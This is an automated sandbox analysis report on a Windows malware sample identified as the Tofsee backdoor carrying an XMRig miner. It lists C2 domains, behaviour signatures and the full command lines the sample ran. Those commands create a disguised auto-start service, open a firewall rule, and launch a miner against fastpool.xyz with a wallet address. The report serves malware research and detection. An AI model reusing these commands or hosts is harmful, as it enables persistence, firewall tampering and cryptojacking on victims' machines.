Analysis

  • max time kernel
    148s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13/11/2022, 00:34

General

  • Target
    file.exe
  • Size 174KB
  • Sample221113-awszhsda9z
  • SHA256 fcd951f59f55a70fc01b13213e11e6fc731c0e88c1d40ea45ff7969d84dfd56c
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2088
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\wkurwjcv\
      2⤵
        PID:1556
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\gaqhkilu.exe" C:\Windows\SysWOW64\wkurwjcv\
        2⤵
          PID:4560
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create wkurwjcv binPath= "C:\Windows\SysWOW64\wkurwjcv\gaqhkilu.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3876
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description wkurwjcv "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2116
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start wkurwjcv
          2⤵
          • Launches sc.exe
          PID:4716
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2560
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2088 -s 892
          2⤵
          • Program crash
          PID:804
      • C:\Windows\SysWOW64\wkurwjcv\gaqhkilu.exe
        C:\Windows\SysWOW64\wkurwjcv\gaqhkilu.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1948
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2124
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:868
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1948 -s 512
          2⤵
          • Program crash
          PID:3452
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 2088 -ip 2088
        1⤵
          PID:3640
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 1948 -ip 1948
          1⤵
            PID:1060

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                gaqhkilu.exe

                • Path C:\Users\Admin\AppData\Local\Temp\gaqhkilu.exe
                • Size 10.4MB
                • SHA256 1cbd2b4a4def48d7725fa8ddf7c910b514cf3ffc31c6a9de6f67698ca9a0e49d
                • MD5 SHA1 SHA512 SSDEEP

                gaqhkilu.exe

                • Path C:\Windows\SysWOW64\wkurwjcv\gaqhkilu.exe
                • Size 10.4MB
                • SHA256 1cbd2b4a4def48d7725fa8ddf7c910b514cf3ffc31c6a9de6f67698ca9a0e49d
                • MD5 SHA1 SHA512 SSDEEP

                memory/868-172-0x0000000000800000-0x00000000008F1000-memory.dmp

                memory/868-177-0x0000000000800000-0x00000000008F1000-memory.dmp

                memory/1948-150-0x0000000000400000-0x0000000000587000-memory.dmp

                memory/1948-149-0x0000000000964000-0x0000000000975000-memory.dmp

                memory/2088-134-0x0000000000400000-0x0000000000587000-memory.dmp

                memory/2088-132-0x00000000008D9000-0x00000000008EA000-memory.dmp

                memory/2088-133-0x0000000000820000-0x0000000000833000-memory.dmp

                memory/2088-143-0x00000000008D9000-0x00000000008EA000-memory.dmp

                memory/2088-144-0x0000000000400000-0x0000000000587000-memory.dmp

                memory/2124-146-0x0000000000FB0000-0x0000000000FC5000-memory.dmp

                memory/2124-159-0x0000000002530000-0x0000000002540000-memory.dmp

                memory/2124-168-0x00000000033E0000-0x00000000033E7000-memory.dmp

                memory/2124-151-0x0000000000FB0000-0x0000000000FC5000-memory.dmp

                memory/2124-152-0x0000000000FB0000-0x0000000000FC5000-memory.dmp

                memory/2124-153-0x0000000002E00000-0x000000000300F000-memory.dmp

                memory/2124-156-0x0000000002520000-0x0000000002526000-memory.dmp

                memory/2124-162-0x00000000033D0000-0x00000000033D5000-memory.dmp

                memory/2124-165-0x0000000007D40000-0x000000000814B000-memory.dmp